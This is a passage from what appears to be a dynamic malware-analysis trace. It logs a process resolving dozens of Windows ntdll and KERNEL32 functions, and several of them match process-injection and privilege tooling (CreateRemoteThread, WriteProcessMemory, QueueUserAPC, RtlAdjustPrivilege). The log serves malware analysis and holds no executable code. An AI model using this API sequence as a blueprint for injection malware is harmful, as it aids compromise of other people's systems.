ProcedureAddress=0x27f070*=0x7718ce40) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="sprintf", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771ea738) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="_snprintf", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771e8ae0) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memset", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b2ed0) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlAdjustPrivilege", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7716a7f0) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="mbstowcs", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771ea670) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="strcpy", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771af9f0) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="memcpy", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771ae6d0) returned 0x0 [0079.004] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlImageDirectoryEntryToData", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77190950) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="RtlImageNtHeader", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7718ecb0) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="ZwOpenProcessToken", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b22d0) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="__C_specific_handler", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7717850c) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77160000, Name="__chkstk", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b0dd0) returned 0x0 [0079.005] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="KERNEL32.dll", BaseAddress=0x27f088 | out: BaseAddress=0x27f088*=0x77040000) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualQueryEx", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708bb60) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateRemoteThread", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708c4f0) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleFileNameW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77057700) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FileTimeToSystemTime", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704af20) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLocalTime", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704b990) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenProcess", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7705cad0) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVersion", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770501d0) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExitThread", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771a6930) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempFileNameA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770a1ee0) returned 0x0 [0079.005] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77042ef0) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualFree", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77051260) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemInfo", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77056f70) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteCriticalSection", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77185350) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CloseHandle", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77062f80) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileMappingA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704ead0) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WriteProcessMemory", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708bad0) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770631f0) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770a1230) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704e390) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77063580) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleFileNameA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770564a0) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcmpiA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770440a0) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770565e0) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Sleep", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77062b70) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77057070) returned 0x0 [0079.006] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentProcess", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77055cf0) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GlobalUnlock", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708e570) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapAlloc", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b33a0) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpyA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708e160) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GlobalLock", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708e760) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrlenA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7705caf0) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770635a0) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateDirectoryA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708c5b0) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLastError", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77062dd0) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapFree", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77063070) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveDirectoryA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708bdb0) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteFileA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770514e0) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcatA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708e110) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTickCount", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77062b00) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapDestroy", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77051490) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapCreate", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770570e0) returned 0x0 [0079.007] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetEvent", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77053f00) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="HeapReAlloc", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77193f20) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindFirstFileW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7705bd80) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770547a0) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitForMultipleObjects", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77051170) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SuspendThread", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77042f60) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708bca0) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ResumeThread", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770513a0) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpyW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708e0d0) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindClose", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7705bd60) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateThread", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77056580) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ResetEvent", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704d9a0) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SwitchToThread", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704b6c0) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcatW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708e070) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindNextFileW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77051910) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateProcessW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77061bb0) returned 0x0 [0079.008] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CopyFileW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770492d0) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetWaitableTimer", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77048890) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalAlloc", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770547c0) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentThreadId", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77053ee0) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentThread", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77053f20) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrlenW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77053ec0) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateEventA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77051120) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemTimeAsFileTime", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77053f40) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetWindowsDirectoryA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708bfb0) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DeleteFileW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704ad90) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateDirectoryW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704ad70) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempPathA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770a2060) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateFileW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77051870) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExpandEnvironmentStringsW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770571b0) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770635f0) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileAttributesW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7705bdd0) returned 0x0 [0079.009] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileSize", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704f9d0) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetComputerNameA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704ec70) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="EnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b2fc0) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateMutexA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77057210) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770a0ca0) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenMutexA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77042ce0) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVolumeInformationA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770a1bc0) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitForSingleObject", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77062b20) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ReleaseMutex", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77062b90) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetComputerNameW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704d130) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LeaveCriticalSection", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771b3000) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetLastError", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77062df0) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="InitializeCriticalSection", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77188100) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryExW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77056640) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77063690) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileAttributesA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770513e0) returned 0x0 [0079.010] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenFileMappingA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77057230) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetExitCodeProcess", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770512b0) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770567a0) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetDriveTypeW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7705bdf0) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetLogicalDriveStringsW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708c0c0) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="lstrcpynA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708bac0) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LocalReAlloc", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7705c4c0) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsAlloc", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77057100) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsGetValue", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77062bd0) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="TlsSetValue", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77055cd0) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FreeLibrary", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77056620) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="LoadLibraryW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77056f80) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetVersionExW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704d910) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77051500) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetFilePointer", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77051150) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Thread32First", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708aa70) returned 0x0 [0079.011] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="QueueUserAPC", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7704ce10) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateToolhelp32Snapshot", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770421e0) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenThread", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7705c560) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetCurrentProcessId", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77055a50) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="Thread32Next", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708a980) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindFirstFileA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708c380) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FindNextFileA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708c320) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ConnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770420d0) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetOverlappedResult", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77048800) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CancelIo", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77090000) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="DisconnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708c460) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="FlushFileBuffers", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770469f0) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CallNamedPipeA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770a29d0) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CreateNamedPipeA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770a2ba0) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetSystemTime", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77063540) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="WaitNamedPipeA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770a27e0) returned 0x0 [0079.012] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SetEndOfFile", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708bd70) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetFileTime", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77044f80) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="ExitProcess", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x771840f0) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x77243ad0) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="CompareFileTime", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7705bd20) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="GetTempPathW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770a2040) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="OpenEventA", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x770577c0) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7722c2d0) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="RemoveDirectoryW", Ordinal=0x0, ProcedureAddress=0x27f070 | out: ProcedureAddress=0x27f070*=0x7708bda0) returned 0x0 [0079.013] LdrGetProcedureAddress (in: BaseAddress=0x77040000, Name="SleepEx", Ordinal=0x0, ProcedureAddress=0x27f070 | out: 